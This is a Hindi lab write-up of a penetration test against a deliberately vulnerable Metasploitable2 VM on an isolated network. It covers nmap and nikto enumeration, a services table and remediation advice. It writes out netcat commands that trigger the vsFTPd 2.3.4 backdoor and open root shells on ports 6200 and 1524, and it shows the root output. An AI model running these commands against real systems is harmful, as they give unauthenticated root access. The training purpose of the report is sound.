
पृथक नेटवर्क में पेंटेस्ट लैब: nmap/nikto के साथ एन्यूमरेशन और Metasploitable2 का मैनुअल एक्सप्लॉइटेशन (backdoor vsFTPd CVE-2011-2523, bindshell) पूर्ण तकनीकी रिपोर्ट के साथ।
लेखक: Daniel Stefan de Jesus dos Reis
दिनांक: सितंबर/2026
वातावरण: पृथक वर्चुअल नेटवर्क pentestlab में व्यक्तिगत KVM लैब
यह परीक्षण विशेष रूप से एक स्वयं की और जानबूझकर कमजोर बनाई गई वर्चुअल मशीन के विरुद्ध किया गया था, जिसे Rapid7 द्वारा विशेष रूप से आक्रामक सुरक्षा प्रशिक्षण के उद्देश्य से वितरित किया गया है, एक पृथक वर्चुअल नेटवर्क के भीतर जिसका इंटरनेट से कोई बाहरी कनेक्शन नहीं है। किसी तीसरे पक्ष के सिस्टम का उपयोग नहीं किया गया। यह परियोजना विशेष रूप से शैक्षिक उद्देश्य के लिए है, जो घुसपैठ परीक्षण कौशल के विकास के लिए है।
pentestlab (ब्रिज virbr-lab), सबनेट 192.168.100.0/24, कोई <forward> कॉन्फ़िगर नहीं — यानी, वास्तव में एक पृथक नेटवर्क: VMs आपस में और होस्ट के साथ संवाद कर सकते हैं, लेकिन लैब के बाहर कोई रूट नहीं है। नेटवर्क की XML evidencias/pentestlab_network.xml में है।virbr-lab इंटरफ़ेस के साथ, nmap, nikto, gobuster, hydra, sqlmap और netcat का उपयोग करते हुए।metasploitable2 (Metasploitable2, संशोधित Ubuntu 8.04), IP 192.168.100.90/24, पृथक नेटवर्क के DHCP द्वारा असाइन किया गया।[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
मैंने एक बुनियादी प्रवाह का पालन किया: पहचान → गणना → शोषण → दस्तावेज़ीकरण:
nmap -sV -sC -p-)nikto)nc के साथ किए गए, प्रत्येक विफलता के तंत्र को समझने के लिए, न कि केवल "एक्सप्लॉइट चलाना"कमांड: nmap -sV -sC -p- -T4 192.168.100.90
पूर्ण आउटपुट: evidencias/nmap_full_scan.txt
पाए गए सबसे प्रासंगिक सेवाओं का सारांश:
30/06/2011 और 03/07/2011 के बीच, डाउनलोड के लिए उपलब्ध कराए गए vsFTPd 2.3.4 के स्रोत कोड को एक हमलावर द्वारा छेड़छाड़ किया गया था। समझौता किए गए संस्करण में एक बैकडोर है: FTP लॉगिन के उपयोगकर्ता फ़ील्ड में :) पर समाप्त होने वाली स्ट्रिंग प्राप्त होने पर, सर्वर बिना किसी प्रमाणीकरण के TCP पोर्ट 6200 पर एक रूट शेल खोलता है।
निष्पादित चरण (पूर्ण लॉग evidencias/vsftpd_backdoor_exploit.txt में):
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
परिणाम:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
बिना प्रमाणीकरण के पूर्ण रूट पहुँच प्राप्त की गई।
nmap पहले से ही इस सेवा को Metasploitable root shell के रूप में पहचानता है — यह छवि में जानबूझकर छोड़ा गया एक बैकडोर है (पिछले एक्सप्लॉइट का अवशेष, जो प्रशिक्षण छवियों में आम है)। इसके लिए शोषण की आवश्यकता नहीं है: बस कनेक्ट करें।
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
परिणाम: uid=0(root) gid=0(root) groups=0(root) — तत्काल रूट।
पूर्ण लॉग evidencias/bindshell_1524.txt में।
पोर्ट 6667/6697 पर चल रहे UnrealIRCd का संस्करण ऐतिहासिक रूप से बैकडोर के साथ वितरित एक बिल्ड से मेल खाता है (AB; कमांड के बाद एक शेल कमांड)। मैंने nc के माध्यम से मैन्युअल रूप से बैकडोर को ट्रिगर करने का प्रयास किया, लेकिन सर्वर ने इनपुट को एक अमान्य IRC कमांड (451 :You have not registered) के रूप में माना, बजाय कमांड निष्पादित करने के — या तो इस विशिष्ट छवि में ट्रोजनयुक्त बाइनरी नहीं है, या पेलोड को बारीक समायोजन की आवश्यकता है जिसे मैंने इस दौर में प्राथमिकता नहीं दी। मैं इसे एक असफल प्रयास के रूप में दर्ज करता हूँ, पुष्ट भेद्यता के रूप में नहीं।
वितरित संकलन सेवा जो कनेक्ट होने वाले किसी भी क्लाइंट से मनमाने कमांड स्वीकार करती है, बिना प्रमाणीकरण के। संस्करण द्वारा पहचानी गई, इस दौर में शोषित नहीं।
ऐतिहासिक रूप से डीसेरियलाइज़ेशन के माध्यम से दूरस्थ कोड निष्पादन के प्रति संवेदनशील। संस्करण द्वारा पहचानी गई, इस दौर में शोषित नहीं।
कमांड: nikto -h 192.168.100.90 -p 80
पूर्ण आउटपुट: evidencias/nikto_scan.txt
मुख्य निष्कर्ष:
TRACE सक्रिय (संभावित XST)/phpinfo.php सार्वजनिक रूप से उजागर (PHP कॉन्फ़िगरेशन प्रकट करता है)/phpMyAdmin/ बिना IP प्रतिबंध के सुलभ/doc/, /test/ और /icons/ में निर्देशिका सूचीकरण सक्षमhttponly फ़्लैग के बिना बनाई गईpentestlab नेटवर्क में एक दूसरी समर्पित हमलावर मशीन (जैसे Kali Linux) जोड़ें, बजाय सीधे होस्ट से हमला करने के| पोर्ट | सेवा | संस्करण | टिप्पणी |
|---|
| 21/tcp | FTP | vsftpd 2.3.4 | अनाम लॉगिन की अनुमति + ज्ञात बैकडोर |
| 22/tcp | SSH | OpenSSH 4.7p1 | पुराना |
| 23/tcp | Telnet | Linux telnetd | स्पष्ट टेक्स्ट प्रोटोकॉल |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin और phpinfo.php उजागर |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | संदेश हस्ताक्षर अक्षम |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | ऐतिहासिक रूप से RCE के प्रति संवेदनशील |
| 1524/tcp | bindshell | — | रूट शेल पहले से खुला, बिना प्रमाणीकरण |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | ऐतिहासिक रूप से RCE के प्रति संवेदनशील (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | प्रोटोकॉल 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | संस्करण ज्ञात बैकडोर से जुड़ा |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
| निष्कर्ष | सिफारिश |
|---|
| vsFTPd 2.3.4 बैकडोर | कभी भी अनधिकृत/असत्यापित स्रोतों से बाइनरी का उपयोग न करें; स्थापना से पहले पैकेज का हैश/हस्ताक्षर सत्यापित करें |
| पोर्ट 1524 पर bindshell | नियमित रूप से खुले पोर्ट का ऑडिट करें (आवधिक आंतरिक nmap); कोई भी अप्रलेखित शेल एक घटना है |
| बिना प्रमाणीकरण के उजागर distccd | फ़ायरवॉल के माध्यम से विश्वसनीय होस्ट तक सीमित करें या यदि सक्रिय वितरित बिल्ड उपयोग में नहीं है तो अक्षम करें |
| phpMyAdmin/phpinfo.php उजागर | IP/VPN द्वारा पहुँच प्रतिबंधित करें, प्रशासनिक उपकरणों को कभी सार्वजनिक रूप से उजागर न करें |
| Apache/PHP पुराने | पैच प्रबंधन प्रक्रिया सक्रिय रखें |
| निर्देशिका सूचीकरण सक्षम | Apache में Options Indexes अक्षम करें |
| SMB में संदेश हस्ताक्षर अक्षम | server signing = mandatory सक्षम करें |